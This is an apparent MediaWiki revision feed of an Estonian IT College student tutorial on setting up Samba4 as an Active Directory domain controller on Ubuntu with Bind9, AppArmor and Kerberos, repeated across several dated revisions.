Väljundiks peaks tulema netlogon kausta sisu.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos server töötab. Küsitakse admin parooli ehk praegusel juhul on Student1 selleks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
kinit Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Edukal töötamisel ta mingit väljundit ei anna.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Kasutajate ja gruppide ning jagatavate kaustade loomine ==&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60452</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60452"/>
		<updated>2013-01-07T21:46:29Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuse lõpuosa peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
Please install the phpLDAPadmin configuration located at /var/lib/samba/private/phpldapadmin-config.php into /etc/phpldapadmin/config.php&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ns&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-115115566-1439331126-697070417&lt;br /&gt;
Admin password:        Student1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read &amp;quot;log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot; &amp;quot;alla:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
                log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                #Lisatud juurde 3 rida&lt;br /&gt;
                if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
                        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
                fi &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Selle sisuks tuleb&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme eelnevale ka lingid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 käivitamine&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kaasame Samba4 poolt loodud konfiratsiooni Bind9 seadetesse&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis peab tegema erandid Apparmorisse.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisada lõppu ennem viimast } märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/* rw,&lt;br /&gt;
/var/lib/samba/private/dns/* rw,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Nimeserverid paika==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Näiteks on meil nimeserveri aadress 192.168.56.200. (tuleb lisada teistest nimekirjas olevatest nimeserveritest ettepoole, muidu pole asjast kasu ja ei võta Bind9&#039;st vastuseid)&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja ka seda kontrollida, et kas töötab korralikult ja kas seadistused said õigesti. &amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame krb5-user paketi&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Kontroll==&lt;br /&gt;
Kontrollime, kas Samba4 töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L SAMBA.PIIX.EE -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund peaks olema midagi sarnast ehk näitab väljajagatud failide/kausta/printerite nimekirjasid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type       Comment&lt;br /&gt;
	---------       ----       -------&lt;br /&gt;
	netlogon        Disk       &lt;br /&gt;
	sysvol          Disk       &lt;br /&gt;
	IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Autentimise kontrollimiseks võiks käivitada järgneva käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60449</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60449"/>
		<updated>2013-01-07T21:29:10Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuse lõpuosa peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
Please install the phpLDAPadmin configuration located at /var/lib/samba/private/phpldapadmin-config.php into /etc/phpldapadmin/config.php&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ns&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-115115566-1439331126-697070417&lt;br /&gt;
Admin password:        Student1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read &amp;quot;log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot; &amp;quot;alla:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
                log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                #Lisatud juurde 3 rida&lt;br /&gt;
                if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
                        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
                fi &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Selle sisuks tuleb&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme eelnevale ka lingid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 käivitamine&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60448</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60448"/>
		<updated>2013-01-07T21:28:47Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Samba4 startimise skripti muutmine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügisemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuse lõpuosa peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
Please install the phpLDAPadmin configuration located at /var/lib/samba/private/phpldapadmin-config.php into /etc/phpldapadmin/config.php&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ns&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-115115566-1439331126-697070417&lt;br /&gt;
Admin password:        Student1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read &amp;quot;log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot; &amp;quot;alla:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
                log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                #Lisatud juurde 3 rida&lt;br /&gt;
                if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
                        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
                fi &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Selle sisuks tuleb&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme eelnevale ka lingid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 käivitamine&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60447</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60447"/>
		<updated>2013-01-07T21:18:18Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Bind9 konfiguratsiooni faili loomine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügisemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuse lõpuosa peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
Please install the phpLDAPadmin configuration located at /var/lib/samba/private/phpldapadmin-config.php into /etc/phpldapadmin/config.php&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ns&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-115115566-1439331126-697070417&lt;br /&gt;
Admin password:        Student1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 startimise skripti muutmine==&lt;br /&gt;
Kuna Samba4 ei kontrolli samba kataloogi olemasolu&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60446</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60446"/>
		<updated>2013-01-07T21:15:13Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: &lt;/p&gt;
&lt;hr /&gt;
